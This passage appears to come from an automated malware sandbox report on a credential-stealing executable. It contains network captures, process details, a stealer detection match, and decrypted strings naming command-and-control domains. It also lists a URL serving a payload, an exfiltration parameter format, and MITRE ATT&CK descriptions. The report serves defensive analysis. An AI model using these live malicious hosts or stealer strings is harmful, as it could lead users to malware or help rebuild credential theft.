2024-11-18 19:21:49 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:49 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:49 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192149Z-16547b76f7fht2hfhC1DFWbngg00000006ng00000000d374 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 19:21:49 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:49 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:49 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:49 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192149Z-1866b5c5fbb2cz68hC1DFW9ytc000000056000000000u6kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:49 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:49 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:49 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a49de474-501e-007b-59ae-375ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192149Z-16547b76f7fht2hfhC1DFWbngg00000006k000000000srpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49874	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:49 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 19:21:50 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=163375 Date: Mon, 18 Nov 2024 19:21:50 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-18 19:21:50 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:50 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:50 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 7b0cde1b-901e-005b-3fc4-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192150Z-1866b5c5fbbpxkkxhC1DFWhvmc00000006fg00000000nn9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:50 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:50 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:50 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192150Z-1866b5c5fbbkcpv2hC1DFWf1yc000000069g00000000eadu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:50 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:50 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:50 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:50 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 07de4fd9-201e-0051-6eb1-377340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192150Z-16547b76f7fp6s5dhC1DFWe28g00000003bg00000000y3h8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:50 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:50 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:50 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: ecab8261-801e-00a3-2dbb-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192150Z-16547b76f7f7zzl8hC1DFWmtag000000054000000000eb6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:50 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:50 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:50 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 15572004-d01e-002b-5493-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192150Z-164f84587bf7jb9dhC1DFWkay400000005w000000000f858 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:50 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	14:21:05
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x380000
File size:	1'883'136 bytes
MD5 hash:	0DDCD6763D9C2104F94916AD73E8E3DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2229452164.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:21:39
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:21:39
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,17606009280702191283,8916399517189912732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:21:44
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:21:44
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1932,i,6917140252110169909,6669424991198368365,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://cook-rain.sbs/J	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/IzI	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/I	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exepleWebKit/537.36	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/-	Avira URL Cloud: Label: malware

Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2480675366.0000000000381000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

